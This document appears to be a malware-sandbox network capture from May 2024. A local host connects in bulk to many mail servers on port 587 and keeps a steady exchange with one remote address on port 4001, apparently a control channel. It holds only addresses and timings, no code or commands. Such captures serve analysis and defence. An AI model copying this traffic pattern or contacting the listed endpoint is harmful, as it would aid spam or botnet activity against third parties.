May 19, 2024 17:28:03.302524090 CEST	587	50132	212.159.8.240	192.168.2.4
May 19, 2024 17:28:03.302552938 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:28:03.302581072 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:28:03.302609921 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:28:03.302638054 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:28:03.302666903 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:28:03.303080082 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:28:03.303119898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307279110 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:03.307312965 CEST	587	50166	142.93.237.125	192.168.2.4
May 19, 2024 17:28:03.307342052 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:28:03.307370901 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:28:03.307400942 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:28:03.307429075 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:28:03.307457924 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.307486057 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:28:03.307507992 CEST	50166	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:03.307513952 CEST	587	50153	81.2.195.204	192.168.2.4
May 19, 2024 17:28:03.307543993 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:28:03.307575941 CEST	587	50167	117.50.20.113	192.168.2.4
May 19, 2024 17:28:03.307604074 CEST	587	50168	198.164.81.21	192.168.2.4
May 19, 2024 17:28:03.307617903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307636023 CEST	587	50169	120.50.131.112	192.168.2.4
May 19, 2024 17:28:03.307662964 CEST	587	50171	65.20.63.172	192.168.2.4
May 19, 2024 17:28:03.307693005 CEST	587	50170	84.116.6.22	192.168.2.4
May 19, 2024 17:28:03.307718039 CEST	50168	587	192.168.2.4	198.164.81.21
May 19, 2024 17:28:03.307720900 CEST	587	50172	193.201.172.98	192.168.2.4
May 19, 2024 17:28:03.307739019 CEST	50169	587	192.168.2.4	120.50.131.112
May 19, 2024 17:28:03.307750940 CEST	587	50173	142.93.237.125	192.168.2.4
May 19, 2024 17:28:03.307780027 CEST	587	50174	194.152.32.10	192.168.2.4
May 19, 2024 17:28:03.307780981 CEST	50167	587	192.168.2.4	117.50.20.113
May 19, 2024 17:28:03.307780981 CEST	50170	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.307786942 CEST	50172	587	192.168.2.4	193.201.172.98
May 19, 2024 17:28:03.307826996 CEST	50173	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:03.307841063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307842016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307842016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307842016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307873964 CEST	50171	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:03.307914019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307914019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307924032 CEST	50174	587	192.168.2.4	194.152.32.10
May 19, 2024 17:28:03.307951927 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.307997942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.308034897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.311897993 CEST	587	50176	84.116.6.22	192.168.2.4
May 19, 2024 17:28:03.311956882 CEST	587	50177	64.59.136.142	192.168.2.4
May 19, 2024 17:28:03.312042952 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:28:03.312197924 CEST	50176	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.312201023 CEST	50177	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:03.312201023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.312201023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.312201977 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.312561035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.312561035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.316809893 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:28:03.317126036 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:28:03.317353964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.317353964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.317446947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.317446947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.323997021 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.324378967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.324378967 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.324503899 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.324527025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.328773022 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.328839064 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.328933954 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:28:03.328964949 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:28:03.329170942 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:28:03.329344034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.330404997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.330404997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.333488941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.333945036 CEST	50102	587	192.168.2.4	46.30.213.46
May 19, 2024 17:28:03.333971024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.338396072 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.340234041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.340234041 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.343600988 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:28:03.343653917 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:28:03.343683958 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:28:03.343750000 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.343868017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.348514080 CEST	587	50102	46.30.213.46	192.168.2.4
May 19, 2024 17:28:03.348814011 CEST	50102	587	192.168.2.4	46.30.213.46
May 19, 2024 17:28:03.353466034 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.353727102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.358191967 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:28:03.358247995 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:28:03.358311892 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:03.358357906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.358361959 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:28:03.358400106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.363603115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.364938974 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:28:03.368932962 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:28:03.374031067 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.378016949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.378016949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.398910999 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.403647900 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:28:03.403681993 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:28:03.403763056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.403824091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.408706903 CEST	587	50120	66.133.129.50	192.168.2.4
May 19, 2024 17:28:03.408735991 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:28:03.408829927 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.408857107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.408935070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.413794041 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:28:03.413908005 CEST	587	50067	65.20.63.172	192.168.2.4
May 19, 2024 17:28:03.413938999 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:28:03.413969040 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:28:03.414000988 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:28:03.414052010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.414052010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.414103031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.414124966 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:03.414154053 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:28:03.414164066 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:03.414164066 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:03.414165020 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:03.414201975 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.414225101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.414254904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.414275885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.418617010 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.418911934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.423475027 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.423759937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.423759937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.428180933 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.428224087 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:28:03.428255081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.433650017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.441752911 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:28:03.441953897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.441999912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.441999912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.444068909 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:28:03.445852041 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:03.445882082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.445882082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.445907116 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:03.446670055 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:28:03.446774960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.446774960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.449434042 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:28:03.449520111 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:28:03.449588060 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:03.449619055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.449619055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.449655056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.454416990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.458714962 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:03.458714962 CEST	50067	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:03.458726883 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:28:03.458726883 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:03.458744049 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:28:03.458761930 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:03.458865881 CEST	50120	587	192.168.2.4	66.133.129.50
May 19, 2024 17:28:03.486849070 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.486902952 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.486937046 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:28:03.486967087 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:28:03.486999035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.487040997 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:28:03.487040997 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:28:03.487071991 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:28:03.487103939 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:28:03.487134933 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:28:03.487135887 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:28:03.487160921 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:28:03.487201929 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.487211943 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:28:03.487257957 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:28:03.487360001 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:28:03.487401009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.487406015 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.487435102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.487447977 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.487453938 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.487468958 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:28:03.487493992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.487591982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.489974976 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:28:03.490015030 CEST	587	50132	212.159.8.240	192.168.2.4
May 19, 2024 17:28:03.490082979 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:03.490323067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.490721941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.491089106 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:03.491127014 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:03.491192102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.491192102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.491208076 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:28:03.491259098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.491259098 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.493124008 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:03.493597031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.495286942 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:03.495352983 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:28:03.495498896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.495498896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.497497082 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:03.497533083 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:03.497565031 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:28:03.497592926 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.497597933 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:28:03.497632027 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:28:03.497651100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.497693062 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:28:03.497721910 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:28:03.497755051 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.502749920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.502804995 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:28:03.502888918 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.502919912 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:28:03.502952099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.502990007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.503021002 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:28:03.503050089 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.503079891 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:28:03.503114939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.503144979 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:28:03.503165960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.503191948 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:28:03.503221989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.503245115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.503268957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.503295898 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.503324986 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:28:03.503400087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.511969090 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.512021065 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:03.512052059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.512083054 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:28:03.512164116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.512164116 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.517496109 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.517561913 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.517642975 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:03.517946005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.517946005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.522277117 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:28:03.522316933 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:28:03.522346973 CEST	587	50121	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.522371054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.522450924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.522450924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.527117014 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.527200937 CEST	587	50119	177.11.54.185	192.168.2.4
May 19, 2024 17:28:03.527338028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.527368069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.531793118 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:28:03.531824112 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.531883001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.536550045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.536894083 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:28:03.536930084 CEST	50132	587	192.168.2.4	212.159.8.240
May 19, 2024 17:28:03.536930084 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:28:03.536930084 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:28:03.536930084 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:28:03.541371107 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.552463055 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:28:03.552474976 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.552474976 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:28:03.552499056 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:28:03.552551985 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:03.552552938 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:28:03.552575111 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:28:03.552575111 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:28:03.560214996 CEST	587	50153	81.2.195.204	192.168.2.4
May 19, 2024 17:28:03.561342955 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.568083048 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:28:03.568083048 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:28:03.568121910 CEST	50119	587	192.168.2.4	177.11.54.185
May 19, 2024 17:28:03.568231106 CEST	50121	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.568231106 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:03.577481985 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:28:03.577575922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.582290888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.583724022 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:28:03.596986055 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.601732969 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.601763010 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:28:03.601792097 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:28:03.601820946 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:28:03.601854086 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:28:03.601908922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.601949930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.601989031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.602219105 CEST	50124	587	192.168.2.4	103.226.222.162
May 19, 2024 17:28:03.602917910 CEST	50186	587	192.168.2.4	52.223.34.187
May 19, 2024 17:28:03.603152990 CEST	50187	587	192.168.2.4	195.130.132.10
May 19, 2024 17:28:03.603976965 CEST	50188	587	192.168.2.4	120.50.131.112
May 19, 2024 17:28:03.606842995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.611557007 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:28:03.611569881 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:28:03.611583948 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:28:03.611598015 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:28:03.611643076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.611677885 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:28:03.611684084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.611746073 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.611773968 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:28:03.611802101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.614960909 CEST	50153	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:03.615130901 CEST	50110	587	192.168.2.4	13.248.169.48
May 19, 2024 17:28:03.615168095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.616312981 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:28:03.616390944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.616422892 CEST	587	50124	103.226.222.162	192.168.2.4
May 19, 2024 17:28:03.616453886 CEST	587	50186	52.223.34.187	192.168.2.4
May 19, 2024 17:28:03.616482973 CEST	587	50187	195.130.132.10	192.168.2.4
May 19, 2024 17:28:03.616511106 CEST	587	50188	120.50.131.112	192.168.2.4
May 19, 2024 17:28:03.616563082 CEST	50186	587	192.168.2.4	52.223.34.187
May 19, 2024 17:28:03.616595030 CEST	50187	587	192.168.2.4	195.130.132.10
May 19, 2024 17:28:03.616597891 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.616633892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.616662025 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.616677999 CEST	50188	587	192.168.2.4	120.50.131.112
May 19, 2024 17:28:03.621068954 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.621098995 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:28:03.621309996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.621340036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.621373892 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.625812054 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:28:03.625842094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.625871897 CEST	587	50110	13.248.169.48	192.168.2.4
May 19, 2024 17:28:03.625899076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.625946999 CEST	50110	587	192.168.2.4	13.248.169.48
May 19, 2024 17:28:03.630580902 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:28:03.630626917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.635390997 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.635421991 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.635531902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.637242079 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.637392998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.637392998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.638174057 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.638236046 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.638273954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.640027046 CEST	587	50089	41.193.157.227	192.168.2.4
